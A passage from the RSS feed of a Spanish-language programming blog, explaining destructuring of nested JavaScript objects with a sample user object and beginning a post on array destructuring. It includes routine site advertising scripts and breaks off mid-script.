{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isabel&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lastName&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Allende&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      state&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      country&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Peru&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      postalCode&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;15048&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Obtengamos primero la propiedad &lt;em&gt;userIsLoggedIn&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;userIsLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;como-desestructurar-propiedades-anidadas&#34;&gt;¿Cómo desestructurar propiedades anidadas?&lt;/h2&gt;&#xA;&lt;p&gt;¿Pero y si ahora queremos asignar la propiedad state? Para lograrlo primero pensemos en la estructura del objeto. Nuestro objeto tiene tres niveles; en el primero, está userIsLoggedIn y data; en el segundo, email, name, lastName y location; en el tercer nivel, las propiedades state, country y postalCode. Es en este último nivel donde está la propiedad que intentamos desestructurar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    name&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isabel&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    lastName&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Allende&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      state&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      country&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Peru&amp;#34;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      postalCode&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;15048&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El primer nivel es &lt;em&gt;data&lt;/em&gt;, por lo que colocaremos dos puntos &amp;ldquo;:&amp;rdquo; ahí y seguiremos descendiendo hasta el nivel deseado . Dejemos pendiente el resto asignándole un &amp;ldquo;&lt;em&gt;{&amp;hellip;}&amp;rdquo;&lt;/em&gt;. &lt;strong&gt;Si estás siguiendo este ejemplo no le des ENTER hasta el final.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{...}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El segundo nivel que nos lleva a nuestra propiedad &lt;em&gt;state&lt;/em&gt; es &lt;em&gt;location&lt;/em&gt;. Por lo que extendemos nuestra asignación anterior:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{...}}}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Nuestra proppiedad &lt;em&gt;state&lt;/em&gt; se encuentra en el tercer nivel, por lo que ya no hay que descender más, simplemente colocamos la constante a continuación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{state}}}&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;state&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora sí ya puedes darle ENTER, cuando accedas a la constante &lt;em&gt;state&lt;/em&gt;, verás que hace referencia a la propiedad &lt;em&gt;state&lt;/em&gt;, anidada del objeto.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-desestructurar-multiples-propiedades&#34;&gt;¿Cómo desestructurar múltiples propiedades?&lt;/h2&gt;&#xA;&lt;p&gt;El ejemplo anterior no estuvo tan complicado, pero que tal si en lugar de una sola propiedad queremos desestructurar el valor de &lt;em&gt;userIsLoggedIn&lt;/em&gt;, &lt;em&gt;email&lt;/em&gt; y &lt;em&gt;state&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Para hacer lo anterior bastaría con que ubicaramos en que nivel se encuentran la propiedades que queremos desestructurar e incluirlas en el nivel adecuado en nuestra sentencia de código pasado:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; {userIsLoggedIn, data&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; {email, location&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt;{state}}}&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;userIsLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;state&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Lima&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;En la siguiente entrada hablaré sobre como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-con-valores-por-defecto-en-javascript/&#34;&gt;asignar valores por defecto al desestructurar objetos&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En las entradas anteriores expliqué brevemente como llevar a cabo una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-listas-en-javascript/&#34;&gt;desestructuración de objetos en Javascript&lt;/a&gt;&#xA;, pero en la mayoría de los casos no tendremos la suerte de trabajar con objetos planos, sino que nos encontraremos con objetos anidados con varios niveles de profundidad.&lt;/p&gt;&#xA;&lt;p&gt;¿Tendremos que conformarnos con olvidarnos de esta característica y hacer el trabajo explícitamente asignando una constante a cada objeto? Por suerte Javascript permite trabajar la desestructuración de objetos anidados.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Desestructuración de listas en Javascript</title>
      <link>https://coffeebytes.dev/es/javascript/desestructuracion-de-listas-en-javascript/</link>
      <pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/desestructuracion-de-listas-en-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la entrada anterior expliqué un poco sobre el tema de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-variables-en-javascript/&#34;&gt;desestructuración de objetos en javascript&lt;/a&gt;&#xA;. Además de la desestructuración de objetos, Javascript también permite desestructurar listas. En esta entrada hablaré sobre la destructuración de listas en Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Imaginemos que tenemos una lista con valores numéricos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; scientificData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;15.222&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.723&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.313&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4.555&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.333&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.990&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El contenido de la lista son solo números, no nos dicen absolutamente nada. Estos valores podrían ser coeficientes, mediciones de temperatura, longitudes de alguna pieza o algún gradiente de concentraciones de una solución; no tenemos manera de saberlo. Podríamos vernos tentados a procesar la información accediendo a los índices de cada valor de la lista, pero esto le restaría legibilidad al código.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + 